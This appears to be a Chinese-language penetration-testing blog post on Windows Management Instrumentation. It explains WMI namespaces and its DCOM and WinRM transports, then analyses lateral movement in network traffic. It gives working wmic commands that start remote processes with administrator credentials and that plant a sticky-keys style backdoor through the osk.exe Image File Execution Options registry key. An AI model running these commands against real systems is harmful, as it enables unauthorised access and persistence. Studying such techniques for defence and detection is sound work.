什么叫WMI?
Windows管理規范(WMI)是Windows管理功能,它為本地和遠程訪問Windows系統組件提供了統一的環境。
它依賴於WMI服務進行本地和遠程訪問,並依賴於服務器消息塊(SMB)和遠程過程調用服務(RPCS)進行遠程訪問。
RPCS通過端口135運行。
wmi的類和命名空間怎么理解?
操作系統信息是通過WMI對象的方式表示的。一個WMI對象也就是一個WMI類的實例。
大多數常用的WMI類在MSDN中都有詳細的描述,如Win32_Process類。然而還有很多WMI類並沒有文檔可查,
但是幸運的是,我們可以通過WQL來查詢所有的WMI類。 與傳統的面向對象編程語言相似,WMI類被分類分層的放在命名空間中。所有的命名空間都是從ROOT命名空間下的,
當不指定命名空間進行查詢時,Microsoft會使用ROOT\CIMV2作為默認的命名空間。 所有的WMI設置,包括默認命名空間在下面的注冊表鍵中: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM
wmi強大在哪里?相比psexec
WMI的強大體現在通過遠程操作的時候。目前,WMI支持兩種協議:DCOM和WinRM,使用這兩種協議可以做任何事情,包括查詢對象,注冊事件和執行WMI類的方法,等等。 兩種協議都對攻擊者有利,因為防御者通常不會檢查這兩種協議的惡意流量。利用WMI所需的東西就是可用的有權限的用戶憑證。在Linux平台上的wmis-pth工具中,只需要提供被攻擊者的用戶哈希即可。 DCOM (Distributed Component Object Model) 從WMI被引入的時候起,DCOM就被當作默認協議。DCOM通過135端口建立TCP連接,后續的數據交換則通過隨機選擇的TCP端口傳輸。這個端口可以通過dcomcnfg.exe進行配置和修改,其最終是改動如下注冊表項: HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Internet - Ports (REG_MULTI_SZ) 所有的PowerShell中內置的WMI命令都使用DCOM協議。 PS C:\Users\Michael\Desktop> Get-WmiObject -Class Win32_Process -ComputerName WIN-Q4UUJ0BPKL9 -Credential 'WIN-Q4UUJ0BPKL9\Administrator' WinRM (Windows Remote Management) 近來,WinRM已經超過了DCOM,被Windows當作建議使用的協議。WinRM基於Web Services-Management (WSMan)規范,是一個SOAP-based設備管理協議。另外,PowerShell Remoting也是基於WinRM規范的,這使得我們能夠通過PowerShell在大規模Windows企業環境中實現強大的遠程管理功能。WinRM同樣支持WMI,或者說CIM的網絡操作。 默認情況下,WinRM服務開啟並監聽5985/tcp端口,而且默認是加密的。還可以通過配置證書的方式在5986/tcp端口實現HTTPS支持。
我們是如何通過wmi橫向的吶?,又是如何獲取輸出的結果的
wmi橫向執行命令
C:\Users\Administrator\Desktop\PSTools>wmic /node:192.168.1.101 /user:administra
tor /password:123456 process call create "cmd.exe /c calc.exe"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 2732;
ReturnValue = 0;
};
wmi修改注冊表添加后門
wmic /authority:”kerberos:Domain\user” /node:SQL01 process call create ‘reg.exe add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe” /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe”’
我們通過wireshark的流量包不難分析出wmic執行命令的過程
1進行NTML認證 2由於沒有指定命名空間所以使用ROOT\CIMV2作為默認的命名空間。 3調用Win32_Process類中靜態方法Create創建進程
但是這樣的結果是不能被我們看見的
github上面有一款有回顯的wmicexec.vbs
我們繼續查看流量看他是如何獲取回顯的
https://github.com/Twi1ight/AD-Pentest-Script
第一步建立ipc$
然后新建了一個共享叫
然后新建一個叫wmi.dll的文件在此共享目錄下面
從這里的數據分析不難看出創建的服務是我們要執行的命令輸出到wmi.dll
讀取完成后再刪除wmi.dll
此過程完全流量透明很容易被ids偵察出來。(后續會思考如何加密流量)
參考
https://www.cnblogs.com/-qing-/p/11374136.html https://m0nst3r.me/pentest/%E5%88%A9%E7%94%A8WMI%E6%9E%84%E5%BB%BA%E4%B8%80%E4%B8%AA%E6%8C%81%E4%B9%85%E5%8C%96%E7%9A%84%E5%BC%82%E6%AD%A5%E7%9A%84%E6%97%A0%E6%96%87%E4%BB%B6%E5%90%8E%E9%97%A8.html https://sapsan.eth.link/hacktricks/windows/ntlm/wmicexec/ https://dmcxblue.gitbook.io/red-team-notes/execution/windows-management-instrumentation-wmi